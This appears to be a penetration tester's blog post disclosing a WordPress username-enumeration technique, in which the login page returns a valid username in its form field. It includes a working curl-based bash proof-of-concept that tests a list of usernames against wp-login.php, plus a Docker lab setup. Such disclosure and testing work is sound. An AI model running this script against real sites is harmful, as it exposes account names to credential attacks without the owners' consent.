Introduction
As a pentester, you surely already encountered some unsecure WordPress websites, and I bet you ran WPScan on it. You might have discovered vulnerable themes or plugins, obsolete WordPress versions and I guess you tried the user enumeration available through WPScan. However, WPScan may not be enough to perform a reliable user enumeration. Thomas and I have recently discovered a new way to enumerate WordPress users through the login page ; a method to bypass most of the security protections that can be enabled on the WordPress login page apart from the HTTP Authentication to access this page of course. This is what today’s post is about.
The State of Art
WPScan gathers every known methods to enumerate WordPress users which are the following ones:
- Author ID Brute Forcing
- Author Posts
- Author Sitemap
- Login Error Messages
- oEmbed API
- RSS Generator
- WP JSON API
- YoastSEO Author Sitemap
You might have noticed that the #4 seems close to the one we’re announcing today… and it is, but it’s less reliable since login error messages can be disabled or changed to prevent user enumeration. And in fact, most of the above methods are not much reliable because it exists many ways to make these attack vectors useless.
The 9th Method
During a recent pentest audit, we were looking for login usernames and we found one. But WordPress offers to display a nickname that can be different from the raw pseudo of the user and we had to verify if the username was legit or if it was a nickname. We had plenty of method to check that, the “Forgotten Password” page for example or thanks to the classic “login message errors”. We did try the latter and the website being misconfigured from a security point of view, it provided us with the information we were looking for. And that’s at this specific moment Thomas discovered the 9th enumeration.
What’s happening here?
When you try to log in with a bad login username, WordPress reloads the login page and erase values of both username and password fields. But when you try to log in with a correct username and a bad password, WordPress only erases the password field value. Here’s is a step by step illustrated explanation of the 9th method:
Summing this Up
We already knew that WordPress didn’t do much to prevent this type of enumeration but we just found that it’s even more intricate to WordPress Core. When a correct username is provided, WordPress even returns in the request’s response the username as the username field value and that makes the whole enumeration easily feasible.
See It In Action
We made a little demonstration as proof-of-concept of the 9th method:
# Authors: Guillaume Coquard, Thomas Frade
url=$1 # Target URL
users=$2 # Username list files
tmp=/tmp/cookies
# Enumerate every users of a predetermined file
for user in $(cat "$users"); do
# Submit through the wp-login.php the username and a generic password to trigger a failed authentication
response="$(curl \
--silent \
--data "log=${user}&pwd=password&wp-submit=Log+In&redirect_to=${url}/wp-admin&testcookie=1&rememberme=forever" \
--max-redirs 0 "${url}/wp-login.php" \
-c ${tmp} \
-b ${tmp} 2>/dev/null)"
# Check the presence of the previously filled username in the response and especially in the input value attribute
presence="$(echo "${response}" | grep "value=\"${user}\"")"
# If the username is present in response then an account with this username exists in the DB
if [ -n "$presence" ]; then
echo "__ ${user} __ exists."
fi
done
NB: We reached out to WordPress and WPScan in order to know it they were interested in publishing the 9th method as a CVE® but they were not.
To ensure a reproducible environment, we have set up a WordPress instance through a Docker container. WordPress version used is the latest stable version as of the date of publication of this article: 6.0. Here’s the docker-compose
script used to launch the container:
version: "3.9"
services:
db:
platform: linux/amd64
image: mysql:5.7
volumes:
- db_data:/var/lib/mysql
restart: always
environment:
MYSQL_ROOT_PASSWORD: somewordpress
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
wordpress:
depends_on:
- db
image: wordpress:6.0
volumes:
- wordpress_data:/var/www/html
ports:
- "8600:80"
restart: always
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
volumes:
db_data: {}
wordpress_data: {}